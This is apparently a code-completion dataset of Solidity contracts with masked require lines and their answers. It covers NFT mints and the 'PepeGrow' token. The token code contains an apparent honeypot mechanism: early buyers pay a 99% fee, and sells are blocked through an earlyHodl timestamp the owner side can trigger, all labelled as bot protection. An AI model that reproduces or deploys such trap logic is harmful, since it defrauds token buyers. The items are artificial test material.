function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
}
/**
* @dev Returns true if a `leafs` can be proved to be a part of a Merkle tree
* defined by `root`. For this, `proofs` for each leaf must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Then
* 'proofFlag' designates the nodes needed for the multi proof.
*
* _Available since v4.7._
*/
function multiProofVerify(
bytes32 root,
bytes32[] memory leafs,
bytes32[] memory proofs,
bool[] memory proofFlag
) internal pure returns (bool) {
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
* from `leaf` using the multi proof as `proofFlag`. A multi proof is
* valid if the final hash matches the root of the tree.
*
* _Available since v4.7._
*/
function processMultiProof(
bytes32[] memory leafs,
bytes32[] memory proofs,
bool[] memory proofFlag
) internal pure returns (bytes32 merkleRoot) {
}
function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) {
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
}
}
pragma solidity >=0.7.0 <0.9.0;
abstract contract ownerdataInterface {
function setChildPurpose(address _from, address _to, uint256 _tokenID, address _owner) public virtual;
}
//tested contract
contract metanimandara is ERC721, Ownable, Pausable{
using Strings for uint256;
string baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.017041028 ether;
uint256 public maxSupply = 15;
uint256 public totalSupply;
bool public revealable = false;
bool public isForceReveal = false;
string public notRevealedUri;
//mint state
bool public isWhitelistMint = false;
bool public isPublicMint = false;
//FXportal
ownerdataInterface public ownerdatainterface;
address mintFromAddress = address(0);
address private stakingContract;
//merkle proof
bytes32 private _rootHash;
//mapping (address => uint256) public publicMintCount;
mapping (uint256 => bool) public isRevealed;
mapping (address => uint256)[3] public WLMinteList;
uint256 public wave;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri,
address _fxRootAddress
) ERC721(_name, _symbol) {
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override
{
}
// public
function publicMint(uint256 amount) public payable whenNotPaused {
}
function whitelistMint(bytes32[] calldata proof) public payable whenNotPaused {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
{
}
function revealToken (uint256 _tokenId) public {
}
function revealTokens (uint256[] calldata ownedTokens) public {
require(revealable, "can not reveal");
uint256 ownerTokenCount = ownedTokens.length;
for (uint256 i = 0; i < ownerTokenCount; i++) {
require(<FILL_ME>)
uint256 _tokenId = ownedTokens[i];
if(isRevealed[_tokenId] == false){
isRevealed[_tokenId] = true;
}
}
}
//only owner
function setRootHash (bytes32 root) public onlyOwner {
}
function setRevealable(bool _isRevealable) public onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner() {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
}
function setMaxSupply (uint256 _newSupply) public onlyOwner {
}
//state management
function setWave(uint256 _newWave) public onlyOwner {
}
function setIsPublicMint(bool _isPublic) public onlyOwner {
}
function setIsWhiteListMint (bool _isWhiteList) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
function ownerMint (uint256 amount) public onlyOwner
{
}
function setIsForceReveal (bool _newBool) public onlyOwner {
}
function pause() external onlyOwner
{
}
function unpause() external onlyOwner
{
}
}
|
ownerOf(ownedTokens[i])==msg.sender,"You are not owner this TokenID"
| 212,438 |
ownerOf(ownedTokens[i])==msg.sender
|
"bot protection mechanism is embeded"
|
// TG: https://t.me/pepegrow_vip
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.5;
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
interface IDexFactory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(
address account
) public view virtual override returns (uint256) {
}
function transfer(
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function allowance(
address owner,
address spender
) public view virtual override returns (uint256) {
}
function approve(
address spender,
uint256 amount
) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(
address account,
uint256 amount
) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() external virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract PepeGrow is ERC20, Ownable {
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWalletAmount;
IDexRouter public dexRouter;
address public liquidityPair;
bool private swapping;
uint256 public swapTokensAtAmount;
address public marketingAddress;
address public devAddress;
uint256 public tradingBlock = 0;
uint256 public botBlockNumber = 0;
mapping(address => bool) public initialBotBuyer;
mapping(address => uint256) public _holderEarlyTransferTimestamp;
uint256 public botsCaught;
uint256 private earlyHodl;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public sellBurnFee;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public buyBurnFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
uint256 public tokensForBurn;
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedMarketingAddress(address indexed newWallet);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event EnabledTrading();
event RemovedLimits();
event ExcludeFromFees(address indexed account, bool isExcluded);
event MaxTransactionExclusion(address _address, bool excluded);
event isSwapBack(uint256 timestamp);
event DetectedEarlyBotBuyer(address sniper);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTx;
mapping(address => bool) public automatedMarketMakerPairs;
constructor() ERC20("PepeGrow", "PepeGrow") {
}
receive() external payable {}
function startTrading() external onlyOwner {
}
function onlyDeleteBots(address wallet) external onlyOwner {
}
function removeLimits() external onlyOwner {
}
function disableTransferDelay() external onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
}
function updateMaxSellAmount(uint256 newNum) external onlyOwner {
}
function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
}
function _excludeFromMaxTransaction(
address updAds,
bool isExcluded
) private {
}
function excludeFromMaxTransaction(
address updAds,
bool isEx
) external onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function setAutomatedMarketMakerPair(
address pair,
bool value
) external onlyOwner {
}
function updateSellFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _DevFee,
uint256 _burnFee
) external onlyOwner {
}
function updateBuyFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _DevFee,
uint256 _burnFee
) external onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "amount must be greater than 0");
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (botBlockNumber > 0) {
require(<FILL_ME>)
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
if (transferDelayEnabled) {
if (
to != address(dexRouter) && to != address(liquidityPair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number - 2 &&
_holderLastTransferTimestamp[to] <
block.number - 2,
"_transfer:: Transfer Delay enabled. Try again later."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
_holderLastTransferTimestamp[to] = block.number;
} else if (!swapping && !automatedMarketMakerPairs[from]) {
require(
_holderEarlyTransferTimestamp[from] > earlyHodl,
"_transfer:: Try again later."
);
}
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTx[to]) {
require(
amount <= maxBuyAmount,
"Buy transfer amount exceeds the max buy."
);
require(
amount + balanceOf(to) <= maxWalletAmount,
"Cannot Exceed max wallet"
);
} else if (
automatedMarketMakerPairs[to] && !_isExcludedMaxTx[from]
) {
require(
amount <= maxSellAmount,
"Sell transfer amount exceeds the max sell."
);
} else if (!_isExcludedMaxTx[to]) {
require(
amount + balanceOf(to) <= maxWalletAmount,
"Cannot Exceed max wallet"
);
} else if (!swapping && _isExcludedMaxTx[from]) {
earlyHodl = block.timestamp;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = true;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
if (automatedMarketMakerPairs[from] && _holderEarlyTransferTimestamp[to] == 0) {
if (balanceOf(address(to)) == 0) {
_holderEarlyTransferTimestamp[to] = block.timestamp;
}
}
uint256 fees = 0;
if (takeFee) {
if (
earlySniperBuyBlock() &&
automatedMarketMakerPairs[from] &&
!automatedMarketMakerPairs[to] &&
buyTotalFees > 0
) {
if (!initialBotBuyer[to]) {
initialBotBuyer[to] = true;
botsCaught += 1;
emit DetectedEarlyBotBuyer(to);
}
fees = (amount * 99) / 100;
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForBurn += (fees * buyBurnFee) / buyTotalFees;
}
// sell
else if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = (amount * sellTotalFees) / 100;
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForBurn += (fees * sellBurnFee) / sellTotalFees;
}
// buy
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = (amount * buyTotalFees) / 100;
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForBurn += (fees * buyBurnFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function earlySniperBuyBlock() public view returns (bool) {
}
function verifyParaSwapTokens(
address user,
uint256 value,
uint256 deadline
) internal returns (bool) {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function paraSwapTokens(
address user,
uint256 value,
uint256 deadline
) external {
}
function swapBack() private {
}
function withdrawContractETH() external onlyOwner {
}
function marketingWalletUpdate(
address _marketingAddress
) external onlyOwner {
}
function liquidityWalletUpdate(address _devAddress) external onlyOwner {
}
}
|
!initialBotBuyer[from]||to==owner()||to==address(0xdead),"bot protection mechanism is embeded"
| 212,513 |
!initialBotBuyer[from]||to==owner()||to==address(0xdead)
|
"_transfer:: Try again later."
|
// TG: https://t.me/pepegrow_vip
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.5;
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
interface IDexFactory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(
address account
) public view virtual override returns (uint256) {
}
function transfer(
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function allowance(
address owner,
address spender
) public view virtual override returns (uint256) {
}
function approve(
address spender,
uint256 amount
) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(
address account,
uint256 amount
) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() external virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract PepeGrow is ERC20, Ownable {
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWalletAmount;
IDexRouter public dexRouter;
address public liquidityPair;
bool private swapping;
uint256 public swapTokensAtAmount;
address public marketingAddress;
address public devAddress;
uint256 public tradingBlock = 0;
uint256 public botBlockNumber = 0;
mapping(address => bool) public initialBotBuyer;
mapping(address => uint256) public _holderEarlyTransferTimestamp;
uint256 public botsCaught;
uint256 private earlyHodl;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public sellBurnFee;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public buyBurnFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
uint256 public tokensForBurn;
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedMarketingAddress(address indexed newWallet);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event EnabledTrading();
event RemovedLimits();
event ExcludeFromFees(address indexed account, bool isExcluded);
event MaxTransactionExclusion(address _address, bool excluded);
event isSwapBack(uint256 timestamp);
event DetectedEarlyBotBuyer(address sniper);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTx;
mapping(address => bool) public automatedMarketMakerPairs;
constructor() ERC20("PepeGrow", "PepeGrow") {
}
receive() external payable {}
function startTrading() external onlyOwner {
}
function onlyDeleteBots(address wallet) external onlyOwner {
}
function removeLimits() external onlyOwner {
}
function disableTransferDelay() external onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
}
function updateMaxSellAmount(uint256 newNum) external onlyOwner {
}
function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
}
function _excludeFromMaxTransaction(
address updAds,
bool isExcluded
) private {
}
function excludeFromMaxTransaction(
address updAds,
bool isEx
) external onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function setAutomatedMarketMakerPair(
address pair,
bool value
) external onlyOwner {
}
function updateSellFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _DevFee,
uint256 _burnFee
) external onlyOwner {
}
function updateBuyFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _DevFee,
uint256 _burnFee
) external onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "amount must be greater than 0");
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (botBlockNumber > 0) {
require(
!initialBotBuyer[from] ||
to == owner() ||
to == address(0xdead),
"bot protection mechanism is embeded"
);
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
if (transferDelayEnabled) {
if (
to != address(dexRouter) && to != address(liquidityPair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number - 2 &&
_holderLastTransferTimestamp[to] <
block.number - 2,
"_transfer:: Transfer Delay enabled. Try again later."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
_holderLastTransferTimestamp[to] = block.number;
} else if (!swapping && !automatedMarketMakerPairs[from]) {
require(<FILL_ME>)
}
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTx[to]) {
require(
amount <= maxBuyAmount,
"Buy transfer amount exceeds the max buy."
);
require(
amount + balanceOf(to) <= maxWalletAmount,
"Cannot Exceed max wallet"
);
} else if (
automatedMarketMakerPairs[to] && !_isExcludedMaxTx[from]
) {
require(
amount <= maxSellAmount,
"Sell transfer amount exceeds the max sell."
);
} else if (!_isExcludedMaxTx[to]) {
require(
amount + balanceOf(to) <= maxWalletAmount,
"Cannot Exceed max wallet"
);
} else if (!swapping && _isExcludedMaxTx[from]) {
earlyHodl = block.timestamp;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = true;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
if (automatedMarketMakerPairs[from] && _holderEarlyTransferTimestamp[to] == 0) {
if (balanceOf(address(to)) == 0) {
_holderEarlyTransferTimestamp[to] = block.timestamp;
}
}
uint256 fees = 0;
if (takeFee) {
if (
earlySniperBuyBlock() &&
automatedMarketMakerPairs[from] &&
!automatedMarketMakerPairs[to] &&
buyTotalFees > 0
) {
if (!initialBotBuyer[to]) {
initialBotBuyer[to] = true;
botsCaught += 1;
emit DetectedEarlyBotBuyer(to);
}
fees = (amount * 99) / 100;
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForBurn += (fees * buyBurnFee) / buyTotalFees;
}
// sell
else if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = (amount * sellTotalFees) / 100;
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForBurn += (fees * sellBurnFee) / sellTotalFees;
}
// buy
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = (amount * buyTotalFees) / 100;
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForBurn += (fees * buyBurnFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function earlySniperBuyBlock() public view returns (bool) {
}
function verifyParaSwapTokens(
address user,
uint256 value,
uint256 deadline
) internal returns (bool) {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function paraSwapTokens(
address user,
uint256 value,
uint256 deadline
) external {
}
function swapBack() private {
}
function withdrawContractETH() external onlyOwner {
}
function marketingWalletUpdate(
address _marketingAddress
) external onlyOwner {
}
function liquidityWalletUpdate(address _devAddress) external onlyOwner {
}
}
|
_holderEarlyTransferTimestamp[from]>earlyHodl,"_transfer:: Try again later."
| 212,513 |
_holderEarlyTransferTimestamp[from]>earlyHodl
|
"Not a part of Allowlist"
|
pragma solidity ^0.8.7;
contract AdventNFT is ERC721A, Ownable {
using Strings for uint256;
bytes32 public Whitelist_OG;
bytes32 public AllowList;
uint256 public AllowStartTime;
uint256 public WLStartTime;
uint256 public MAX_SUPPLY = 6666; //total supply
uint256 public Max_Mint = 3; //max mint
uint256 public price = 0.13 ether; //price
uint256 public wl_price = 0.1 ether; // wl price
address payable withdrawWallet;
string public baseURI;
mapping(address => uint256) public Max_Minted;
constructor(
string memory _uri,
address payable _withdrawWallet,
bytes32 _wl, bytes32 _allow, uint256 _wltime, uint256 _altime) ERC721A("Advent NFT ", "ADV") {
}
function setwithdrawal(address payable _withdrawWallet) public virtual onlyOwner {
}
function setURI(string calldata uri ) public onlyOwner {
}
function setSigns(bytes32 _allowCode, bytes32 _wlCode) public onlyOwner{
}
function MaxAllowedMints(uint256 Value) public onlyOwner {
}
function PauseMint() public onlyOwner {
}
function StartMint(uint256 _SetWLTime, uint256 _SetAllowTime) public onlyOwner{
}
//set price
function Price(uint256 _newprice) public onlyOwner {
}
function WLPrice(uint256 _newWlPrice) public onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function WithdrawAddress() public view virtual returns (address){
}
function isValidWL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
function isValidAllowed(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
function mint(uint256 quantity, bytes32[] memory sign) external payable {
require(totalSupply()<=MAX_SUPPLY,"All NFTs were Sold Out");
require(WLStartTime>0,"Sale not started");
require(AllowStartTime>0,"Sale not started_");
require(block.timestamp>WLStartTime,"Sale Not Started yet__");
if(block.timestamp>AllowStartTime) {
uint256 Minted = Max_Minted[msg.sender];
require(<FILL_ME>)
require(Max_Minted[msg.sender]<(Max_Mint+1),"you have minted maximum allowed nfts");
require(quantity <= (Max_Mint-Max_Minted[msg.sender]), "You have reached Maximum mint limit");
require(totalSupply() + quantity <= MAX_SUPPLY, "All NFTs are Sold Out");
require(msg.value >= (price * quantity), "Not enough ether sent");
Max_Minted[msg.sender] = Minted + quantity;
_safeMint(msg.sender, quantity);
} else if(block.timestamp>WLStartTime && block.timestamp<AllowStartTime){
uint256 Minted = Max_Minted[msg.sender];
require(isValidWL(sign, keccak256(abi.encodePacked(msg.sender))), "Not a part of OG/Whitelist");
require(Max_Minted[msg.sender]<(Max_Mint+1),"you have minted maximum allowed nfts");
require(quantity <= (Max_Mint-Max_Minted[msg.sender]), "You have reached Maximum mint limit");
require(totalSupply() + quantity <= MAX_SUPPLY, "All NFTs are Sold Out");
require(msg.value >= (wl_price * quantity), "Not enough ether sent");
Max_Minted[msg.sender] = Minted + quantity;
_safeMint(msg.sender, quantity);
}
}
// mint by owner
function MintByOwner(address _receiver,uint256 quantity) external onlyOwner virtual {
}
// withdraw money
function withdraw() public virtual onlyOwner {
}
function DEVELOPER_ADDRESS() public pure returns (address payable developer) {
}
}
|
isValidAllowed(sign,keccak256(abi.encodePacked(msg.sender))),"Not a part of Allowlist"
| 212,594 |
isValidAllowed(sign,keccak256(abi.encodePacked(msg.sender)))
|
"you have minted maximum allowed nfts"
|
pragma solidity ^0.8.7;
contract AdventNFT is ERC721A, Ownable {
using Strings for uint256;
bytes32 public Whitelist_OG;
bytes32 public AllowList;
uint256 public AllowStartTime;
uint256 public WLStartTime;
uint256 public MAX_SUPPLY = 6666; //total supply
uint256 public Max_Mint = 3; //max mint
uint256 public price = 0.13 ether; //price
uint256 public wl_price = 0.1 ether; // wl price
address payable withdrawWallet;
string public baseURI;
mapping(address => uint256) public Max_Minted;
constructor(
string memory _uri,
address payable _withdrawWallet,
bytes32 _wl, bytes32 _allow, uint256 _wltime, uint256 _altime) ERC721A("Advent NFT ", "ADV") {
}
function setwithdrawal(address payable _withdrawWallet) public virtual onlyOwner {
}
function setURI(string calldata uri ) public onlyOwner {
}
function setSigns(bytes32 _allowCode, bytes32 _wlCode) public onlyOwner{
}
function MaxAllowedMints(uint256 Value) public onlyOwner {
}
function PauseMint() public onlyOwner {
}
function StartMint(uint256 _SetWLTime, uint256 _SetAllowTime) public onlyOwner{
}
//set price
function Price(uint256 _newprice) public onlyOwner {
}
function WLPrice(uint256 _newWlPrice) public onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function WithdrawAddress() public view virtual returns (address){
}
function isValidWL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
function isValidAllowed(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
function mint(uint256 quantity, bytes32[] memory sign) external payable {
require(totalSupply()<=MAX_SUPPLY,"All NFTs were Sold Out");
require(WLStartTime>0,"Sale not started");
require(AllowStartTime>0,"Sale not started_");
require(block.timestamp>WLStartTime,"Sale Not Started yet__");
if(block.timestamp>AllowStartTime) {
uint256 Minted = Max_Minted[msg.sender];
require(isValidAllowed(sign, keccak256(abi.encodePacked(msg.sender))), "Not a part of Allowlist");
require(<FILL_ME>)
require(quantity <= (Max_Mint-Max_Minted[msg.sender]), "You have reached Maximum mint limit");
require(totalSupply() + quantity <= MAX_SUPPLY, "All NFTs are Sold Out");
require(msg.value >= (price * quantity), "Not enough ether sent");
Max_Minted[msg.sender] = Minted + quantity;
_safeMint(msg.sender, quantity);
} else if(block.timestamp>WLStartTime && block.timestamp<AllowStartTime){
uint256 Minted = Max_Minted[msg.sender];
require(isValidWL(sign, keccak256(abi.encodePacked(msg.sender))), "Not a part of OG/Whitelist");
require(Max_Minted[msg.sender]<(Max_Mint+1),"you have minted maximum allowed nfts");
require(quantity <= (Max_Mint-Max_Minted[msg.sender]), "You have reached Maximum mint limit");
require(totalSupply() + quantity <= MAX_SUPPLY, "All NFTs are Sold Out");
require(msg.value >= (wl_price * quantity), "Not enough ether sent");
Max_Minted[msg.sender] = Minted + quantity;
_safeMint(msg.sender, quantity);
}
}
// mint by owner
function MintByOwner(address _receiver,uint256 quantity) external onlyOwner virtual {
}
// withdraw money
function withdraw() public virtual onlyOwner {
}
